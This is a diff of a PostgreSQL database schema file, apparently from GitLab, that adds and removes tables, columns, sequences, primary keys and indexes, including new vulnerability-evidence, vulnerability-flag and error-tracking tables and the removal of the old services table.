- ci_daily_pipeline_schedule_triggers integer DEFAULT 0 NOT NULL
+ ci_daily_pipeline_schedule_triggers integer DEFAULT 0 NOT NULL,
+ ci_max_artifact_size_running_container_scanning integer DEFAULT 0 NOT NULL,
+ ci_max_artifact_size_cluster_image_scanning integer DEFAULT 0 NOT NULL,
+ ci_jobs_trace_size_limit integer DEFAULT 100 NOT NULL
);
CREATE SEQUENCE plan_limits_id_seq
@@ -16451,23 +16589,25 @@ END AS attrelname
ORDER BY relation_stats.nspname, relation_stats.tblname, relation_stats.idxname;
CREATE VIEW postgres_indexes AS
- SELECT (((pg_namespace.nspname)::text || '.'::text) || (pg_class.relname)::text) AS identifier,
+ SELECT (((pg_namespace.nspname)::text || '.'::text) || (i.relname)::text) AS identifier,
pg_index.indexrelid,
pg_namespace.nspname AS schema,
- pg_class.relname AS name,
+ i.relname AS name,
pg_indexes.tablename,
+ a.amname AS type,
pg_index.indisunique AS "unique",
pg_index.indisvalid AS valid_index,
- pg_class.relispartition AS partitioned,
+ i.relispartition AS partitioned,
pg_index.indisexclusion AS exclusion,
(pg_index.indexprs IS NOT NULL) AS expression,
(pg_index.indpred IS NOT NULL) AS partial,
pg_indexes.indexdef AS definition,
- pg_relation_size((pg_class.oid)::regclass) AS ondisk_size_bytes
- FROM (((pg_index
- JOIN pg_class ON ((pg_class.oid = pg_index.indexrelid)))
- JOIN pg_namespace ON ((pg_class.relnamespace = pg_namespace.oid)))
- JOIN pg_indexes ON ((pg_class.relname = pg_indexes.indexname)))
+ pg_relation_size((i.oid)::regclass) AS ondisk_size_bytes
+ FROM ((((pg_index
+ JOIN pg_class i ON ((i.oid = pg_index.indexrelid)))
+ JOIN pg_namespace ON ((i.relnamespace = pg_namespace.oid)))
+ JOIN pg_indexes ON ((i.relname = pg_indexes.indexname)))
+ JOIN pg_am a ON ((i.relam = a.oid)))
WHERE ((pg_namespace.nspname <> 'pg_catalog'::name) AND (pg_namespace.nspname = ANY (ARRAY["current_schema"(), 'gitlab_partitions_dynamic'::name, 'gitlab_partitions_static'::name])));
CREATE VIEW postgres_partitioned_tables AS
@@ -16626,7 +16766,6 @@ ALTER SEQUENCE project_ci_cd_settings_id_seq OWNED BY project_ci_cd_settings.id;
CREATE TABLE project_compliance_framework_settings (
project_id bigint NOT NULL,
- framework smallint,
framework_id bigint,
CONSTRAINT check_d348de9e2d CHECK ((framework_id IS NOT NULL))
);
@@ -16946,6 +17085,8 @@ CREATE TABLE project_settings (
prevent_merge_without_jira_issue boolean DEFAULT false NOT NULL,
cve_id_request_enabled boolean DEFAULT true NOT NULL,
mr_default_target_self boolean DEFAULT false NOT NULL,
+ previous_default_branch text,
+ CONSTRAINT check_3a03e7557a CHECK ((char_length(previous_default_branch) <= 4096)),
CONSTRAINT check_bde223416c CHECK ((show_default_award_emojis IS NOT NULL))
);
@@ -17493,6 +17634,7 @@ CREATE TABLE requirements (
title_html text,
description text,
description_html text,
+ issue_id bigint,
CONSTRAINT check_785ae25b9d CHECK ((char_length(description) <= 10000))
);
@@ -17707,7 +17849,8 @@ CREATE SEQUENCE saml_providers_id_seq
ALTER SEQUENCE saml_providers_id_seq OWNED BY saml_providers.id;
CREATE TABLE schema_migrations (
- version character varying NOT NULL
+ version character varying NOT NULL,
+ finished_at timestamp with time zone DEFAULT now()
);
CREATE TABLE scim_identities (
@@ -17907,45 +18050,6 @@ CREATE TABLE service_desk_settings (
project_key character varying(255)
);
-CREATE TABLE services (
- id integer NOT NULL,
- type character varying,
- project_id integer,
- created_at timestamp without time zone,
- updated_at timestamp without time zone,
- active boolean DEFAULT false NOT NULL,
- properties text,
- push_events boolean DEFAULT true,
- issues_events boolean DEFAULT true,
- merge_requests_events boolean DEFAULT true,
- tag_push_events boolean DEFAULT true,
- note_events boolean DEFAULT true NOT NULL,
- category character varying DEFAULT 'common'::character varying NOT NULL,
- wiki_page_events boolean DEFAULT true,
- pipeline_events boolean DEFAULT false NOT NULL,
- confidential_issues_events boolean DEFAULT true NOT NULL,
- commit_events boolean DEFAULT true NOT NULL,
- job_events boolean DEFAULT false NOT NULL,
- confidential_note_events boolean DEFAULT true,
- deployment_events boolean DEFAULT false NOT NULL,
- comment_on_event_enabled boolean DEFAULT true NOT NULL,
- template boolean DEFAULT false,
- instance boolean DEFAULT false NOT NULL,
- comment_detail smallint,
- inherit_from_id bigint,
- alert_events boolean,
- group_id bigint
-);
-
-CREATE SEQUENCE services_id_seq
- START WITH 1
- INCREMENT BY 1
- NO MINVALUE
- NO MAXVALUE
- CACHE 1;
-
-ALTER SEQUENCE services_id_seq OWNED BY services.id;
-
CREATE TABLE shards (
id integer NOT NULL,
name character varying NOT NULL
@@ -18409,7 +18513,9 @@ CREATE TABLE timelogs (
merge_request_id integer,
spent_at timestamp without time zone,
note_id integer,
- project_id integer
+ project_id integer,
+ summary text,
+ CONSTRAINT check_271d321699 CHECK ((char_length(summary) <= 255))
);
CREATE SEQUENCE timelogs_id_seq
@@ -18939,7 +19045,9 @@ CREATE TABLE vulnerabilities (
confirmed_at timestamp with time zone,
dismissed_at timestamp with time zone,
dismissed_by_id bigint,
- resolved_on_default_branch boolean DEFAULT false NOT NULL
+ resolved_on_default_branch boolean DEFAULT false NOT NULL,
+ present_on_default_branch boolean DEFAULT true NOT NULL,
+ detected_at timestamp with time zone DEFAULT now()
);
CREATE SEQUENCE vulnerabilities_id_seq
@@ -19026,6 +19134,28 @@ CREATE SEQUENCE vulnerability_feedback_id_seq
ALTER SEQUENCE vulnerability_feedback_id_seq OWNED BY vulnerability_feedback.id;
+CREATE TABLE vulnerability_finding_evidence_assets (
+ id bigint NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ vulnerability_finding_evidence_id bigint NOT NULL,
+ type text,
+ name text,
+ url text,
+ CONSTRAINT check_5adf5d69de CHECK ((char_length(type) <= 2048)),
+ CONSTRAINT check_839f29d7ca CHECK ((char_length(name) <= 2048)),
+ CONSTRAINT check_9272d912c0 CHECK ((char_length(url) <= 2048))
+);
+
+CREATE SEQUENCE vulnerability_finding_evidence_assets_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE vulnerability_finding_evidence_assets_id_seq OWNED BY vulnerability_finding_evidence_assets.id;
+
CREATE TABLE vulnerability_finding_evidence_headers (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
@@ -19090,6 +19220,44 @@ CREATE SEQUENCE vulnerability_finding_evidence_responses_id_seq
ALTER SEQUENCE vulnerability_finding_evidence_responses_id_seq OWNED BY vulnerability_finding_evidence_responses.id;
+CREATE TABLE vulnerability_finding_evidence_sources (
+ id bigint NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ vulnerability_finding_evidence_id bigint NOT NULL,
+ name text,
+ url text,
+ CONSTRAINT check_0fe01298d6 CHECK ((char_length(url) <= 2048)),
+ CONSTRAINT check_86b537ba1a CHECK ((char_length(name) <= 2048))
+);
+
+CREATE SEQUENCE vulnerability_finding_evidence_sources_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE vulnerability_finding_evidence_sources_id_seq OWNED BY vulnerability_finding_evidence_sources.id;
+
+CREATE TABLE vulnerability_finding_evidence_supporting_messages (
+ id bigint NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ vulnerability_finding_evidence_id bigint NOT NULL,
+ name text,
+ CONSTRAINT check_fa33b9ae85 CHECK ((char_length(name) <= 2048))
+);
+
+CREATE SEQUENCE vulnerability_finding_evidence_supporting_messages_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE vulnerability_finding_evidence_supporting_messages_id_seq OWNED BY vulnerability_finding_evidence_supporting_messages.id;
+
CREATE TABLE vulnerability_finding_evidences (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
@@ -19163,6 +19331,27 @@ CREATE SEQUENCE vulnerability_findings_remediations_id_seq
ALTER SEQUENCE vulnerability_findings_remediations_id_seq OWNED BY vulnerability_findings_remediations.id;
+CREATE TABLE vulnerability_flags (
+ id bigint NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ vulnerability_occurrence_id bigint NOT NULL,
+ flag_type smallint DEFAULT 0 NOT NULL,
+ origin text NOT NULL,
+ description text NOT NULL,
+ CONSTRAINT check_45e743349f CHECK ((char_length(description) <= 1024)),
+ CONSTRAINT check_49c1d00032 CHECK ((char_length(origin) <= 255))
+);
+
+CREATE SEQUENCE vulnerability_flags_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE vulnerability_flags_id_seq OWNED BY vulnerability_flags.id;
+
CREATE TABLE vulnerability_historical_statistics (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
@@ -19808,8 +19997,6 @@ ALTER TABLE ONLY clusters_applications_crossplane ALTER COLUMN id SET DEFAULT ne
ALTER TABLE ONLY clusters_applications_elastic_stacks ALTER COLUMN id SET DEFAULT nextval('clusters_applications_elastic_stacks_id_seq'::regclass);
-ALTER TABLE ONLY clusters_applications_fluentd ALTER COLUMN id SET DEFAULT nextval('clusters_applications_fluentd_id_seq'::regclass);
-
ALTER TABLE ONLY clusters_applications_helm ALTER COLUMN id SET DEFAULT nextval('clusters_applications_helm_id_seq'::regclass);
ALTER TABLE ONLY clusters_applications_ingress ALTER COLUMN id SET DEFAULT nextval('clusters_applications_ingress_id_seq'::regclass);
@@ -19898,6 +20085,10 @@ ALTER TABLE ONLY epic_user_mentions ALTER COLUMN id SET DEFAULT nextval('epic_us
ALTER TABLE ONLY epics ALTER COLUMN id SET DEFAULT nextval('epics_id_seq'::regclass);
+ALTER TABLE ONLY error_tracking_error_events ALTER COLUMN id SET DEFAULT nextval('error_tracking_error_events_id_seq'::regclass);
+
+ALTER TABLE ONLY error_tracking_errors ALTER COLUMN id SET DEFAULT nextval('error_tracking_errors_id_seq'::regclass);
+
ALTER TABLE ONLY events ALTER COLUMN id SET DEFAULT nextval('events_id_seq'::regclass);
ALTER TABLE ONLY evidences ALTER COLUMN id SET DEFAULT nextval('evidences_id_seq'::regclass);
@@ -20010,10 +20201,14 @@ ALTER TABLE ONLY incident_management_oncall_schedules ALTER COLUMN id SET DEFAUL
ALTER TABLE ONLY incident_management_oncall_shifts ALTER COLUMN id SET DEFAULT nextval('incident_management_oncall_shifts_id_seq'::regclass);
+ALTER TABLE ONLY incident_management_pending_alert_escalations ALTER COLUMN id SET DEFAULT nextval('incident_management_pending_alert_escalations_id_seq'::regclass);
+
ALTER TABLE ONLY index_statuses ALTER COLUMN id SET DEFAULT nextval('index_statuses_id_seq'::regclass);
ALTER TABLE ONLY insights ALTER COLUMN id SET DEFAULT nextval('insights_id_seq'::regclass);
+ALTER TABLE ONLY integrations ALTER COLUMN id SET DEFAULT nextval('integrations_id_seq'::regclass);
+
ALTER TABLE ONLY internal_ids ALTER COLUMN id SET DEFAULT nextval('internal_ids_id_seq'::regclass);
ALTER TABLE ONLY ip_restrictions ALTER COLUMN id SET DEFAULT nextval('ip_restrictions_id_seq'::regclass);
@@ -20078,6 +20273,8 @@ ALTER TABLE ONLY merge_request_cleanup_schedules ALTER COLUMN merge_request_id S
ALTER TABLE ONLY merge_request_context_commits ALTER COLUMN id SET DEFAULT nextval('merge_request_context_commits_id_seq'::regclass);
+ALTER TABLE ONLY merge_request_diff_commit_users ALTER COLUMN id SET DEFAULT nextval('merge_request_diff_commit_users_id_seq'::regclass);
+
ALTER TABLE ONLY merge_request_diff_details ALTER COLUMN merge_request_diff_id SET DEFAULT nextval('merge_request_diff_details_merge_request_diff_id_seq'::regclass);
ALTER TABLE ONLY merge_request_diffs ALTER COLUMN id SET DEFAULT nextval('merge_request_diffs_id_seq'::regclass);
@@ -20326,8 +20523,6 @@ ALTER TABLE ONLY sent_notifications ALTER COLUMN id SET DEFAULT nextval('sent_no
ALTER TABLE ONLY sentry_issues ALTER COLUMN id SET DEFAULT nextval('sentry_issues_id_seq'::regclass);
-ALTER TABLE ONLY services ALTER COLUMN id SET DEFAULT nextval('services_id_seq'::regclass);
-
ALTER TABLE ONLY shards ALTER COLUMN id SET DEFAULT nextval('shards_id_seq'::regclass);
ALTER TABLE ONLY slack_integrations ALTER COLUMN id SET DEFAULT nextval('slack_integrations_id_seq'::regclass);
@@ -20418,12 +20613,18 @@ ALTER TABLE ONLY vulnerability_external_issue_links ALTER COLUMN id SET DEFAULT
ALTER TABLE ONLY vulnerability_feedback ALTER COLUMN id SET DEFAULT nextval('vulnerability_feedback_id_seq'::regclass);
+ALTER TABLE ONLY vulnerability_finding_evidence_assets ALTER COLUMN id SET DEFAULT nextval('vulnerability_finding_evidence_assets_id_seq'::regclass);
+
ALTER TABLE ONLY vulnerability_finding_evidence_headers ALTER COLUMN id SET DEFAULT nextval('vulnerability_finding_evidence_headers_id_seq'::regclass);
ALTER TABLE ONLY vulnerability_finding_evidence_requests ALTER COLUMN id SET DEFAULT nextval('vulnerability_finding_evidence_requests_id_seq'::regclass);
ALTER TABLE ONLY vulnerability_finding_evidence_responses ALTER COLUMN id SET DEFAULT nextval('vulnerability_finding_evidence_responses_id_seq'::regclass);
+ALTER TABLE ONLY vulnerability_finding_evidence_sources ALTER COLUMN id SET DEFAULT nextval('vulnerability_finding_evidence_sources_id_seq'::regclass);
+
+ALTER TABLE ONLY vulnerability_finding_evidence_supporting_messages ALTER COLUMN id SET DEFAULT nextval('vulnerability_finding_evidence_supporting_messages_id_seq'::regclass);
+
ALTER TABLE ONLY vulnerability_finding_evidences ALTER COLUMN id SET DEFAULT nextval('vulnerability_finding_evidences_id_seq'::regclass);
ALTER TABLE ONLY vulnerability_finding_links ALTER COLUMN id SET DEFAULT nextval('vulnerability_finding_links_id_seq'::regclass);
@@ -20432,6 +20633,8 @@ ALTER TABLE ONLY vulnerability_finding_signatures ALTER COLUMN id SET DEFAULT ne
ALTER TABLE ONLY vulnerability_findings_remediations ALTER COLUMN id SET DEFAULT nextval('vulnerability_findings_remediations_id_seq'::regclass);
+ALTER TABLE ONLY vulnerability_flags ALTER COLUMN id SET DEFAULT nextval('vulnerability_flags_id_seq'::regclass);
+
ALTER TABLE ONLY vulnerability_historical_statistics ALTER COLUMN id SET DEFAULT nextval('vulnerability_historical_statistics_id_seq'::regclass);
ALTER TABLE ONLY vulnerability_identifiers ALTER COLUMN id SET DEFAULT nextval('vulnerability_identifiers_id_seq'::regclass);
@@ -21040,9 +21243,6 @@ ALTER TABLE ONLY clusters_applications_crossplane
ALTER TABLE ONLY clusters_applications_elastic_stacks
ADD CONSTRAINT clusters_applications_elastic_stacks_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY clusters_applications_fluentd
- ADD CONSTRAINT clusters_applications_fluentd_pkey PRIMARY KEY (id);
-
ALTER TABLE ONLY clusters_applications_helm
ADD CONSTRAINT clusters_applications_helm_pkey PRIMARY KEY (id);
@@ -21100,12 +21300,18 @@ ALTER TABLE ONLY dast_profiles_pipelines
ALTER TABLE ONLY dast_profiles
ADD CONSTRAINT dast_profiles_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY dast_scanner_profiles_builds
+ ADD CONSTRAINT dast_scanner_profiles_builds_pkey PRIMARY KEY (dast_scanner_profile_id, ci_build_id);
+
ALTER TABLE ONLY dast_scanner_profiles
ADD CONSTRAINT dast_scanner_profiles_pkey PRIMARY KEY (id);
ALTER TABLE ONLY dast_site_profile_secret_variables
ADD CONSTRAINT dast_site_profile_secret_variables_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY dast_site_profiles_builds
+ ADD CONSTRAINT dast_site_profiles_builds_pkey PRIMARY KEY (dast_site_profile_id, ci_build_id);
+
ALTER TABLE ONLY dast_site_profiles_pipelines
ADD CONSTRAINT dast_site_profiles_pipelines_pkey PRIMARY KEY (dast_site_profile_id, ci_pipeline_id);
@@ -21205,6 +21411,12 @@ ALTER TABLE ONLY epic_user_mentions
ALTER TABLE ONLY epics
ADD CONSTRAINT epics_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY error_tracking_error_events
+ ADD CONSTRAINT error_tracking_error_events_pkey PRIMARY KEY (id);
+
+ALTER TABLE ONLY error_tracking_errors
+ ADD CONSTRAINT error_tracking_errors_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY events
ADD CONSTRAINT events_pkey PRIMARY KEY (id);
@@ -21385,12 +21597,18 @@ ALTER TABLE ONLY incident_management_oncall_schedules
ALTER TABLE ONLY incident_management_oncall_shifts
ADD CONSTRAINT incident_management_oncall_shifts_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY incident_management_pending_alert_escalations
+ ADD CONSTRAINT incident_management_pending_alert_escalations_pkey PRIMARY KEY (id, process_at);
+
ALTER TABLE ONLY index_statuses
ADD CONSTRAINT index_statuses_pkey PRIMARY KEY (id);
ALTER TABLE ONLY insights
ADD CONSTRAINT insights_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY integrations
+ ADD CONSTRAINT integrations_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY internal_ids
ADD CONSTRAINT internal_ids_pkey PRIMARY KEY (id);
@@ -21505,6 +21723,9 @@ ALTER TABLE ONLY merge_request_context_commit_diff_files
ALTER TABLE ONLY merge_request_context_commits
ADD CONSTRAINT merge_request_context_commits_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY merge_request_diff_commit_users
+ ADD CONSTRAINT merge_request_diff_commit_users_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY merge_request_diff_commits
ADD CONSTRAINT merge_request_diff_commits_pkey PRIMARY KEY (merge_request_diff_id, relative_order);
@@ -21958,9 +22179,6 @@ ALTER TABLE ONLY serverless_domain_cluster
ALTER TABLE ONLY service_desk_settings
ADD CONSTRAINT service_desk_settings_pkey PRIMARY KEY (project_id);
-ALTER TABLE ONLY services
- ADD CONSTRAINT services_pkey PRIMARY KEY (id);
-
ALTER TABLE ONLY shards
ADD CONSTRAINT shards_pkey PRIMARY KEY (id);
@@ -22117,6 +22335,9 @@ ALTER TABLE ONLY vulnerability_external_issue_links
ALTER TABLE ONLY vulnerability_feedback
ADD CONSTRAINT vulnerability_feedback_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY vulnerability_finding_evidence_assets
+ ADD CONSTRAINT vulnerability_finding_evidence_assets_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY vulnerability_finding_evidence_headers
ADD CONSTRAINT vulnerability_finding_evidence_headers_pkey PRIMARY KEY (id);
@@ -22126,6 +22347,12 @@ ALTER TABLE ONLY vulnerability_finding_evidence_requests
ALTER TABLE ONLY vulnerability_finding_evidence_responses
ADD CONSTRAINT vulnerability_finding_evidence_responses_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY vulnerability_finding_evidence_sources
+ ADD CONSTRAINT vulnerability_finding_evidence_sources_pkey PRIMARY KEY (id);
+
+ALTER TABLE ONLY vulnerability_finding_evidence_supporting_messages
+ ADD CONSTRAINT vulnerability_finding_evidence_supporting_messages_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY vulnerability_finding_evidences
ADD CONSTRAINT vulnerability_finding_evidences_pkey PRIMARY KEY (id);
@@ -22138,6 +22365,9 @@ ALTER TABLE ONLY vulnerability_finding_signatures
ALTER TABLE ONLY vulnerability_findings_remediations
ADD CONSTRAINT vulnerability_findings_remediations_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY vulnerability_flags
+ ADD CONSTRAINT vulnerability_flags_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY vulnerability_historical_statistics
ADD CONSTRAINT vulnerability_historical_statistics_pkey PRIMARY KEY (id);
@@ -22351,6 +22581,10 @@ CREATE INDEX commit_id_and_note_id_index ON commit_user_mentions USING btree (co
CREATE INDEX composer_cache_files_index_on_deleted_at ON packages_composer_cache_files USING btree (delete_at, id);
+CREATE UNIQUE INDEX dast_scanner_profiles_builds_on_ci_build_id ON dast_scanner_profiles_builds USING btree (ci_build_id);
+
+CREATE UNIQUE INDEX dast_site_profiles_builds_on_ci_build_id ON dast_site_profiles_builds USING btree (ci_build_id);
+
CREATE UNIQUE INDEX design_management_designs_versions_uniqueness ON design_management_designs_versions USING btree (design_id, version_id);
CREATE INDEX design_user_mentions_on_design_id_and_note_id_index ON design_user_mentions USING btree (design_id, note_id);
@@ -22359,6 +22593,8 @@ CREATE UNIQUE INDEX epic_user_mentions_on_epic_id_and_note_id_index ON epic_user
CREATE UNIQUE INDEX epic_user_mentions_on_epic_id_index ON epic_user_mentions USING btree (epic_id) WHERE (note_id IS NULL);
+CREATE INDEX finding_evidence_assets_on_finding_evidence_id ON vulnerability_finding_evidence_assets USING btree (vulnerability_finding_evidence_id);
+
CREATE INDEX finding_evidence_header_on_finding_evidence_request_id ON vulnerability_finding_evidence_headers USING btree (vulnerability_finding_evidence_request_id);
CREATE INDEX finding_evidence_header_on_finding_evidence_response_id ON vulnerability_finding_evidence_headers USING btree (vulnerability_finding_evidence_response_id);
@@ -22367,6 +22603,10 @@ CREATE INDEX finding_evidence_requests_on_finding_evidence_id ON vulnerability_f
CREATE INDEX finding_evidence_responses_on_finding_evidences_id ON vulnerability_finding_evidence_responses USING btree (vulnerability_finding_evidence_id);
+CREATE INDEX finding_evidence_sources_on_finding_evidence_id ON vulnerability_finding_evidence_sources USING btree (vulnerability_finding_evidence_id);
+
+CREATE INDEX finding_evidence_supporting_messages_on_finding_evidence_id ON vulnerability_finding_evidence_supporting_messages USING btree (vulnerability_finding_evidence_id);
+
CREATE INDEX finding_evidences_on_vulnerability_occurrence_id ON vulnerability_finding_evidences USING btree (vulnerability_occurrence_id);
CREATE INDEX finding_links_on_vulnerability_occurrence_id ON vulnerability_finding_links USING btree (vulnerability_occurrence_id);
@@ -22375,6 +22615,8 @@ CREATE UNIQUE INDEX i_ci_job_token_project_scope_links_on_source_and_target_proj
CREATE INDEX idx_analytics_devops_adoption_segments_on_namespace_id ON analytics_devops_adoption_segments USING btree (namespace_id);
+CREATE INDEX idx_analytics_devops_adoption_snapshots_finalized ON analytics_devops_adoption_snapshots USING btree (namespace_id, end_time) WHERE (recorded_at >= end_time);
+
CREATE INDEX idx_audit_events_part_on_entity_id_desc_author_id_created_at ON ONLY audit_events USING btree (entity_id, entity_type, id DESC, author_id, created_at);
CREATE INDEX idx_award_emoji_on_user_emoji_name_awardable_type_awardable_id ON award_emoji USING btree (user_id, name, awardable_type, awardable_id);
@@ -22385,7 +22627,7 @@ CREATE INDEX idx_container_exp_policies_on_project_id_next_run_at ON container_e
CREATE INDEX idx_container_exp_policies_on_project_id_next_run_at_enabled ON container_expiration_policies USING btree (project_id, next_run_at, enabled);
-CREATE INDEX idx_container_repositories_on_exp_cleanup_status_and_start_date ON container_repositories USING btree (expiration_policy_cleanup_status, expiration_policy_started_at);
+CREATE INDEX idx_container_repos_on_exp_cleanup_status_project_id_start_date ON container_repositories USING btree (expiration_policy_cleanup_status, project_id, expiration_policy_started_at);
CREATE INDEX idx_deployment_clusters_on_cluster_id_and_kubernetes_namespace ON deployment_clusters USING btree (cluster_id, kubernetes_namespace);
@@ -22503,6 +22745,8 @@ CREATE UNIQUE INDEX idx_vuln_signatures_on_occurrences_id_and_signature_sha ON v
CREATE UNIQUE INDEX idx_vuln_signatures_uniqueness_signature_sha ON vulnerability_finding_signatures USING btree (finding_id, algorithm_type, signature_sha);
+CREATE INDEX idx_vulnerabilities_partial_devops_adoption ON vulnerabilities USING btree (project_id, created_at) WHERE (state <> 1);
+
CREATE UNIQUE INDEX idx_vulnerability_ext_issue_links_on_vulne_id_and_ext_issue ON vulnerability_external_issue_links USING btree (vulnerability_id, external_type, external_project_key, external_issue_key);
CREATE UNIQUE INDEX idx_vulnerability_ext_issue_links_on_vulne_id_and_link_type ON vulnerability_external_issue_links USING btree (vulnerability_id, link_type) WHERE (link_type = 1);
@@ -22737,7 +22981,7 @@ CREATE INDEX index_broadcast_message_on_ends_at_and_broadcast_type_and_id ON bro
CREATE INDEX index_bulk_import_configurations_on_bulk_import_id ON bulk_import_configurations USING btree (bulk_import_id);
-CREATE INDEX index_bulk_import_entities_on_bulk_import_id ON bulk_import_entities USING btree (bulk_import_id);
+CREATE INDEX index_bulk_import_entities_on_bulk_import_id_and_status ON bulk_import_entities USING btree (bulk_import_id, status);
CREATE INDEX index_bulk_import_entities_on_namespace_id ON bulk_import_entities USING btree (namespace_id);
@@ -22799,8 +23043,6 @@ CREATE INDEX index_ci_builds_on_project_id_and_name_and_ref ON ci_builds USING b
CREATE INDEX index_ci_builds_on_project_id_for_successfull_pages_deploy ON ci_builds USING btree (project_id) WHERE (((type)::text = 'GenericCommitStatus'::text) AND ((stage)::text = 'deploy'::text) AND ((name)::text = 'pages:deploy'::text) AND ((status)::text = 'success'::text));
-CREATE INDEX index_ci_builds_on_protected ON ci_builds USING btree (protected);
-
CREATE INDEX index_ci_builds_on_queued_at ON ci_builds USING btree (queued_at);
CREATE INDEX index_ci_builds_on_runner_id_and_id_desc ON ci_builds USING btree (runner_id, id DESC);
@@ -22809,10 +23051,10 @@ CREATE INDEX index_ci_builds_on_stage_id ON ci_builds USING btree (stage_id);
CREATE INDEX index_ci_builds_on_status_and_type_and_runner_id ON ci_builds USING btree (status, type, runner_id);
-CREATE UNIQUE INDEX index_ci_builds_on_token ON ci_builds USING btree (token);
-
CREATE UNIQUE INDEX index_ci_builds_on_token_encrypted ON ci_builds USING btree (token_encrypted) WHERE (token_encrypted IS NOT NULL);
+CREATE UNIQUE INDEX index_ci_builds_on_token_partial ON ci_builds USING btree (token) WHERE (token IS NOT NULL);
+
CREATE INDEX index_ci_builds_on_updated_at ON ci_builds USING btree (updated_at);
CREATE INDEX index_ci_builds_on_upstream_pipeline_id ON ci_builds USING btree (upstream_pipeline_id) WHERE (upstream_pipeline_id IS NOT NULL);
@@ -22843,6 +23085,8 @@ CREATE UNIQUE INDEX index_ci_group_variables_on_group_id_and_key_and_environment
CREATE UNIQUE INDEX index_ci_instance_variables_on_key ON ci_instance_variables USING btree (key);
+CREATE INDEX index_ci_job_artifacts_dast_for_devops_adoption ON ci_job_artifacts USING btree (project_id, created_at) WHERE (file_type = 8);
+
CREATE INDEX index_ci_job_artifacts_for_terraform_reports ON ci_job_artifacts USING btree (project_id, id) WHERE (file_type = 18);
CREATE INDEX index_ci_job_artifacts_id_for_terraform_reports ON ci_job_artifacts USING btree (id) WHERE (file_type = 18);
@@ -22851,12 +23095,16 @@ CREATE INDEX index_ci_job_artifacts_on_expire_at_and_job_id ON ci_job_artifacts
CREATE INDEX index_ci_job_artifacts_on_file_store ON ci_job_artifacts USING btree (file_store);
+CREATE INDEX index_ci_job_artifacts_on_file_type_for_devops_adoption ON ci_job_artifacts USING btree (file_type, project_id, created_at) WHERE (file_type = ANY (ARRAY[5, 6, 8, 23]));
+
CREATE UNIQUE INDEX index_ci_job_artifacts_on_job_id_and_file_type ON ci_job_artifacts USING btree (job_id, file_type);
CREATE INDEX index_ci_job_artifacts_on_project_id ON ci_job_artifacts USING btree (project_id);
CREATE INDEX index_ci_job_artifacts_on_project_id_for_security_reports ON ci_job_artifacts USING btree (project_id) WHERE (file_type = ANY (ARRAY[5, 6, 7, 8]));
+CREATE INDEX index_ci_job_artifacts_sast_for_devops_adoption ON ci_job_artifacts USING btree (project_id, created_at) WHERE (file_type = 5);
+
CREATE INDEX index_ci_job_token_project_scope_links_on_added_by_id ON ci_job_token_project_scope_links USING btree (added_by_id);
CREATE INDEX index_ci_job_token_project_scope_links_on_target_project_id ON ci_job_token_project_scope_links USING btree (target_project_id);
@@ -23077,14 +23325,10 @@ CREATE UNIQUE INDEX index_clusters_applications_crossplane_on_cluster_id ON clus
CREATE UNIQUE INDEX index_clusters_applications_elastic_stacks_on_cluster_id ON clusters_applications_elastic_stacks USING btree (cluster_id);
-CREATE UNIQUE INDEX index_clusters_applications_fluentd_on_cluster_id ON clusters_applications_fluentd USING btree (cluster_id);
-
CREATE UNIQUE INDEX index_clusters_applications_helm_on_cluster_id ON clusters_applications_helm USING btree (cluster_id);
CREATE UNIQUE INDEX index_clusters_applications_ingress_on_cluster_id ON clusters_applications_ingress USING btree (cluster_id);
-CREATE INDEX index_clusters_applications_ingress_on_modsecurity ON clusters_applications_ingress USING btree (modsecurity_enabled, modsecurity_mode, cluster_id);
-
CREATE UNIQUE INDEX index_clusters_applications_jupyter_on_cluster_id ON clusters_applications_jupyter USING btree (cluster_id);
CREATE INDEX index_clusters_applications_jupyter_on_oauth_application_id ON clusters_applications_jupyter USING btree (oauth_application_id);
@@ -23115,6 +23359,8 @@ CREATE INDEX index_clusters_on_user_id ON clusters USING btree (user_id);
CREATE UNIQUE INDEX index_commit_user_mentions_on_note_id ON commit_user_mentions USING btree (note_id);
+CREATE INDEX index_compliance_frameworks_id_where_frameworks_not_null ON compliance_management_frameworks USING btree (id) WHERE (pipeline_configuration_full_path IS NOT NULL);
+
CREATE INDEX index_composer_cache_files_where_namespace_id_is_null ON packages_composer_cache_files USING btree (id) WHERE (namespace_id IS NULL);
CREATE INDEX index_container_expiration_policies_on_next_run_at_and_enabled ON container_expiration_policies USING btree (next_run_at, enabled);
@@ -23343,6 +23589,10 @@ CREATE INDEX index_epics_on_start_date_sourcing_epic_id ON epics USING btree (st
CREATE INDEX index_epics_on_start_date_sourcing_milestone_id ON epics USING btree (start_date_sourcing_milestone_id);
